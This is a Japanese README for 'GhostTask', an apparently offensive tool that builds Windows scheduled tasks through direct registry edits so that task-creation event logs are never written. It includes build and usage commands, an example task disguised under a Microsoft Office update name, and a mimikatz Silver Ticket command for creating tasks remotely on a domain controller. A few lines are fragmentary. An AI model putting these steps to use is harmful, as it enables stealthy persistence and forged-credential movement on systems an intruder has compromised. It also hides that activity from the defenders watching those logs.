WithSecureによるスケジュールタスク改ざんの研究に着想を得て、レジストリキーの操作のみでスケジュールタスクを作成する可能性が説明されていました。このアプローチにより、4698や106といったスケジュールタスク作成イベントログの生成を回避でき、よりステルスな永続化手段が実現できます。これらの知見に基づき、私はレジストリの直接操作によるスケジュールタスク作成を実証するPOCを開発しました。
新しいスケジュールタスクを作成するには、いくつかのレジストリキーとそれに関連する値を追加する必要があります。スケジュールタスクに関連するレジストリ値の構造は文書化されていないため、これらの構造を構築する方法は、主に正規のスケジュールタスクのレジストリ値との比較に基づく試行錯誤に依存しました。さらに、Taskschd.h ヘッダーファイルのインターフェースも参照し、Cyber.WTF Windows Registry Analysis – Today's Episode: Tasksからも多大な知恵を借りました。この研究は、Triggers、Actions、DynamicInfo など、機能するスケジュールタスクを構築するために不可欠な各レジストリ値の構造を定式化する上で非常に貴重でした。
このツールは以下の機能を提供します:
BruteRatelのmemexec)と連携して実行可能。*注意:
ScheduledTaskCreatedアクションタイプ)は生成されません。Usage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: リモートコンピュータ名または"localhost"。
- operation: add/delete
- add: レジストリキーのみを使用してスケジュールタスクを作成または変更します。タスク定義を読み込むには、"Schedule"サービスの再起動が必要です。
- delete: スケジュールタスクを削除します。タスクをアンロードするには、"Schedule"サービスの再起動が必要です。
- taskname: スケジュールタスクの名前。
- program: 実行するプログラム。
- argument: プログラムへの引数。
- username: スケジュールタスクを実行するユーザーアカウント。
- scheduletype: サポートされるトリガー:second、daily、weekly、logon。
- time/second ('second'、'daily'、'weekly'トリガーに適用):
- 'second'トリガーの場合:タスク実行の秒単位の頻度を指定します。
- 'daily'および'weekly'トリガーの場合:タスク実行の正確な時刻(例:22:30)を指定します。
- day ('weekly'トリガーに適用):スケジュールタスクを実行する曜日(例:monday、thursday)。
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

WithSecureのブログ(追加:ラテラルムーブメントセクション)で概説されているように、この手法は特別に細工したSilver Ticketを使用してリモートで新しいスケジュールタスクを作成するために使用できます。
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
DC01サーバー上でリモートに、毎日午後3時19分にnotepad.exeを起動する新しいスケジュールタスクを作成:
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
